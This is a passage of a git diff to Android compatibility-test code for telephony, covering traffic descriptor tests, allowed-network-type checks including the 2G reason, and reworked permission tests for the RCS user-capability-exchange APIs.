--- a/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
@@ -31,7 +31,6 @@
     protected void tearDown() throws Exception {
         if (mShouldTestTelecom) {
             mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
-            CtsConnectionService.tearDown();
         }
         super.tearDown();
         waitOnAllHandlers(getInstrumentation());
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 132a88d..0805481 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -164,6 +164,19 @@
             </intent-filter>
         </service>
 
+        <!-- Activity that allows the user to trigger the UCE APIs -->
+        <activity android:name="android.telephony.ims.cts.UceActivity"
+            android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.ims.cts.action_finish"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
         <service
             android:name="android.telephony.gba.cts.TestGbaService"
             android:directBootAware="true"
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 90bc4b8..97c8a51 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -337,23 +337,29 @@
                     // verify that REBROADCAST_ON_UNLOCK is populated
                     assertFalse(
                             intent.getBooleanExtra(CarrierConfigManager.EXTRA_REBROADCAST_ON_UNLOCK,
-                                    true));
+                            true));
                 }
             }
         };
 
-        final IntentFilter filter =
-                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
-        getContext().registerReceiver(receiver, filter);
+        try {
+            final IntentFilter filter =
+                    new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+            getContext().registerReceiver(receiver, filter);
 
-        // verify that carrier config is received
-        int subId = SubscriptionManager.getDefaultSubscriptionId();
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        mConfigManager.notifyConfigChangedForSubId(subId);
+            // verify that carrier config is received
+            int subId = SubscriptionManager.getDefaultSubscriptionId();
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+            mConfigManager.notifyConfigChangedForSubId(subId);
 
-        Boolean broadcastReceived = queue.poll(BROADCAST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        assertNotNull(broadcastReceived);
-        assertTrue(broadcastReceived);
+            Boolean broadcastReceived = queue.poll(BROADCAST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertNotNull(broadcastReceived);
+            assertTrue(broadcastReceived);
+        } finally {
+            // unregister receiver
+            getContext().unregisterReceiver(receiver);
+            receiver = null;
+        }
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index a9a75b3..ea36271 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -29,6 +29,7 @@
 import android.telephony.data.ApnSetting;
 import android.telephony.data.DataCallResponse;
 import android.telephony.data.SliceInfo;
+import android.telephony.data.TrafficDescriptor;
 
 import org.junit.Test;
 
@@ -66,7 +67,10 @@
                 .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
                 .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
                 .build();
-
+    private static final String DNN = "DNN";
+    private static final String OS_APP_ID = "OS_APP_ID";
+    private static final List<TrafficDescriptor> TRAFFIC_DESCRIPTORS =
+            Arrays.asList(new TrafficDescriptor(DNN, OS_APP_ID));
 
     @Test
     public void testConstructorAndGetters() {
@@ -86,6 +90,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response.getCause()).isEqualTo(CAUSE);
@@ -103,6 +108,7 @@
         assertThat(response.getHandoverFailureMode()).isEqualTo(HANDOVER_FAILURE_MODE_DO_FALLBACK);
         assertThat(response.getPduSessionId()).isEqualTo(PDU_SESSION_ID);
         assertThat(response.getSliceInfo()).isEqualTo(SLICE_INFO);
+        assertThat(response.getTrafficDescriptors()).isEqualTo(TRAFFIC_DESCRIPTORS);
     }
 
     @Test
@@ -123,6 +129,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         DataCallResponse equalsResponse = new DataCallResponse.Builder()
@@ -141,6 +148,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response).isEqualTo(equalsResponse);
@@ -164,6 +172,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
@@ -182,6 +191,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE_LEGACY)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response).isNotEqualTo(notEqualsResponse);
@@ -207,6 +217,7 @@
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
                 .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         Parcel stateParcel = Parcel.obtain();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index fe0777e..74fbef9 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -2288,12 +2288,20 @@
                             TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
                 }
         );
+        long allowedNetworkTypeEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                }
+        );
         assertThat(allowedNetworkTypeUser).isEqualTo(
                 mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER));
         assertThat(allowedNetworkTypePower).isEqualTo(
                 mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER));
         assertThat(allowedNetworkTypeCarrier).isEqualTo(
                 mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER));
+        assertThat(allowedNetworkTypeEnable2g).isEqualTo(
+                mAllowedNetworkTypes.get(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G));
 
         // Test unregister
         unRegisterPhoneStateListener(mOnAllowedNetworkTypesChangedCalled,
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 58c1d52..7fd15e3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -160,7 +160,7 @@
     private String mSelfCertHash;
 
     private static final int TOLERANCE = 1000;
-    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 10;
+    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 180;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
     private static final String TAG = "TelephonyManagerTest";
@@ -380,12 +380,20 @@
                             TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
                 }
         );
+        long allowedNetworkTypesEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                }
+        );
         mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
                 allowedNetworkTypesUser);
         mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
                 allowedNetworkTypesPower);
         mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
                 allowedNetworkTypesCarrier);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                allowedNetworkTypesEnable2g);
     }
 
     private void recoverAllowedNetworkType() {
@@ -3093,6 +3101,8 @@
         long allowedNetworkTypes3 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
                 | TelephonyManager.NETWORK_TYPE_BITMASK_LTE
                 | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
+        long allowedNetworkTypes4 = TelephonyManager.NETWORK_TYPE_LTE
+                | TelephonyManager.NETWORK_TYPE_EVDO_B;
 
         try {
             mIsAllowedNetworkTypeChanged = true;
@@ -3112,6 +3122,11 @@
                     (tm) -> tm.setAllowedNetworkTypesForReason(
                             TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
                             allowedNetworkTypes3));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                            allowedNetworkTypes4));
             long deviceAllowedNetworkTypes1 = ShellIdentityUtils.invokeMethodWithShellPermissions(
                     mTelephonyManager, (tm) -> {
                         return tm.getAllowedNetworkTypesForReason(
@@ -3130,9 +3145,16 @@
                                 TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
                     }
             );
+            long deviceAllowedNetworkTypes4 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                    }
+            );
             assertEquals(allowedNetworkTypes1, deviceAllowedNetworkTypes1);
             assertEquals(allowedNetworkTypes2, deviceAllowedNetworkTypes2);
             assertEquals(allowedNetworkTypes3, deviceAllowedNetworkTypes3);
+            assertEquals(allowedNetworkTypes4, deviceAllowedNetworkTypes4);
         } catch (SecurityException se) {
             fail("testSetAllowedNetworkTypes: SecurityException not expected");
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
new file mode 100644
index 0000000..5ab27d6
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.telephony.data.TrafficDescriptor;
+
+import org.junit.Test;
+
+public class TrafficDescriptorTest {
+    private static final String DNN = "DNN";
+    private static final String OS_APP_ID = "OS_APP_ID";
+
+    @Test
+    public void testConstructorAndGetters() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        assertThat(td.getDnn()).isEqualTo(DNN);
+        assertThat(td.getOsAppId()).isEqualTo(OS_APP_ID);
+    }
+
+    @Test
+    public void testEquals() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor equalsTd = new TrafficDescriptor(DNN, OS_APP_ID);
+        assertThat(td).isEqualTo(equalsTd);
+    }
+
+    @Test
+    public void testNotEquals() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", "NOT_OS_APP_ID");
+        assertThat(td).isNotEqualTo(notEqualsTd);
+        assertThat(td).isNotEqualTo(null);
+    }
+
+    @Test
+    public void testParcel() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+
+        Parcel parcel = Parcel.obtain();
+        td.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        TrafficDescriptor parcelTd = TrafficDescriptor.CREATOR.createFromParcel(parcel);
+        assertThat(td).isEqualTo(parcelTd);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 2d81500..100282f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -1107,7 +1107,14 @@
         sServiceConnector.getCarrierService().getRcsFeature()
                 .notifyCapabilitiesStatusChanged(capabilities);
 
-        // Verify that the publish is triggered and receive the publish state changed callback.
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
@@ -1122,9 +1129,6 @@
             automan.dropShellPermissionIdentity();
         }
 
-        CapabilityExchangeEventListener eventListener =
-                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
-
         // ImsService triggers to notify framework publish device's capabilities.
         eventListener.onRequestPublishCapabilities(
                 RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
@@ -1230,7 +1234,14 @@
         sServiceConnector.getCarrierService().getRcsFeature()
                 .notifyCapabilitiesStatusChanged(capabilities);
 
-        // Framework should trigger the device capabilities publish when IMS is registered.
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify the ImsService receive the publish request from framework.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
@@ -1253,9 +1264,6 @@
             cb.onNetworkResponse(networkResp, reason, reasonHeaderCause, reasonHeaderText);
         });
 
-        CapabilityExchangeEventListener eventListener =
-                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
-
         // ImsService triggers to notify framework publish device's capabilities.
         eventListener.onRequestPublishCapabilities(
                 RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index 4d07dd6..73d71f6 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -33,6 +33,7 @@
 import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
@@ -61,6 +62,8 @@
 import android.telephony.ims.RcsContactUceCapability;
 import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.CapabilityExchangeEventListener.OptionsRequestCallback;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.util.Log;
 import android.util.Pair;
@@ -68,6 +71,7 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.BlockedNumberUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import org.junit.After;
@@ -93,6 +97,15 @@
 @RunWith(AndroidJUnit4.class)
 public class RcsUceAdapterTest {
 
+    private static final String FEATURE_TAG_CHAT =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"";
+    private static final String FEATURE_TAG_FILE_TRANSFER =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.fthttp\"";
+    private static final String FEATURE_TAG_MMTEL_AUDIO_CALL =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\"";
+    private static final String FEATURE_TAG_MMTEL_VIDEO_CALL =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\";video";
+
     private static int sTestSlot = 0;
     private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
     private static final Uri LISTENER_URI = Uri.withAppendedPath(Telephony.SimInfo.CONTENT_URI,
@@ -355,30 +368,131 @@
             }
         }
 
-        // getUcePublishState
+        // Connect to the TestImsService
+        connectTestImsService();
+
+        // getUcePublishState without permission
         try {
             uceAdapter.getUcePublishState();
-            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE.");
+            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE permission.");
         } catch (SecurityException e) {
             //expected
         }
 
-        // requestCapabilities
+        // getUcePublishState with permission
         try {
-            uceAdapter.requestCapabilities(numbers, Runnable::run,
-                    new RcsUceAdapter.CapabilitiesCallback() {
-                        @Override
-                        public void onCapabilitiesReceived(
-                                List<RcsContactUceCapability> capabilities) {}
-                        @Override
-                        public void onComplete() {}
-                        @Override
-                        public void onError(int errorCode, long retryAfterMilliseconds) {}
-                    });
-            fail("requestCapabilities should require READ_PRIVILEGED_PHONE_STATE.");
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.getUcePublishState(), ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("getUcePublishState should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("getUcePublishState failed with code " + e.getCode());
+            }
+        }
+
+        final RcsUceAdapter.OnPublishStateChangedListener publishStateListener = (state) -> { };
+
+        // addOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.addOnPublishStateChangedListener(Runnable::run, publishStateListener);
+            fail("addOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // addOnPublishStateChangedListener with permission.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.addOnPublishStateChangedListener(Runnable::run, publishStateListener),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("addOnPublishStateChangedListener should succeed with "
+                    + "READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("addOnPublishStateChangedListener failed with code " + e.getCode());
+            }
+        }
+
+        // removeOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.removeOnPublishStateChangedListener(publishStateListener);
+            fail("removeOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // Prepare the callback of the capability request
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            }
+            @Override
+            public void onComplete() {
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+            }
+        };
+
+        // requestCapabilities without permission
+        try {
+            uceAdapter.requestCapabilities(numbers, Runnable::run , callback);
+            fail("requestCapabilities should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
         } catch (SecurityException e) {
             //expected
         }
+
+        // requestAvailability without permission
+        try {
+            uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
+            fail("requestAvailability should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Lunch an activity to stay in the foreground.
+        lunchUceActivity();
+
+        // requestCapabilities in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestCapabilities failed with code " + e.getCode());
+            }
+        }
+
+        // requestAvailability in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestAvailability(sTestNumberUri, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestAvailability failed with code " + e.getCode());
+            }
+        }
+
+        // Finish the activity
+        finishUceActivity();
     }
 
     @Test
@@ -418,7 +532,7 @@
         // The API requestCapabilities should fail when it doesn't grant the permission.
         try {
             uceAdapter.requestCapabilities(numbers, Runnable::run, callback);
-            fail("requestCapabilities requires READ_PRIVILEGED_PHONE_STATE permission.");
+            fail("requestCapabilities requires ACCESS_USER_CAPABILITY_EXCHANGE permission.");
         } catch (SecurityException e) {
             //expected
         }
@@ -426,7 +540,7 @@
         // The API requestAvailability should fail when it doesn't grant the permission.
         try {
             uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
-            fail("requestAvailability requires READ_PRIVILEGED_PHONE_STATE permission.");
+            fail("requestAvailability requires ACCESS_USER_CAPABILITY_EXCHANGE permission.");
         } catch (SecurityException e) {
             //expected
         }
@@ -439,21 +553,13 @@
         // Connect to the TestImsService
         connectTestImsService();
 
+        // Stay in the foreground.
+        lunchUceActivity();
+
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
                 .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
 
-        // The API requestCapabilities is available to be called without exceptions.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the callback "onError" is called with the error code NOT_ENABLED because
         // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
@@ -467,19 +573,7 @@
             errorQueue.clear();
         }
 
-        // The API requestAvailability is available to be called without exceptions.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestAvailability(
-                            sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the callback "onError" is called with the error code NOT_ENABLED because
         // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
@@ -507,19 +601,7 @@
             cb.onTerminated("", 0L);
         });
 
-        // Call the API requestCapabilities and it should work as expected after the
-        // KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is updated to true.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the contact capability is received and the onCompleted is called.
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
@@ -531,25 +613,14 @@
         capabilityQueue.clear();
         removeTestContactFromEab();
 
-        // Call the API requestAvailability and it should work as expected after the
-        // KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is updated to true.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the contact capability is received and the onCompleted is called.
         capability = waitForResult(capabilityQueue);
         verifyCapabilityResult(capability, sTestNumberUri, REQUEST_RESULT_FOUND, true, true);
         waitForResult(completeQueue);
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -563,7 +634,10 @@
         assertNotNull("UCE adapter should not be null!", uceAdapter);
 
         // Connect to the TestImsService
-        setupTestImsService(uceAdapter);
+        setupTestImsService(uceAdapter, true, true, false);
+
+        // Stay in the foreground
+        lunchUceActivity();
 
         List<Uri> contacts = Collections.singletonList(sTestNumberUri);
 
@@ -608,18 +682,7 @@
                 cb.onCommandError(cmdError);
             });
 
-            // Call the exposed API "requestCapabilities" to retrieve the contact's capabilities.
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
+            requestCapabilities(uceAdapter, contacts, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -632,18 +695,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Call another exposed API "requestAvailability" to retrieve the capabilities.
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestAvailability(sTestNumberUri,
-                                Runnable::run, callback), ImsException.class,
-                                "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
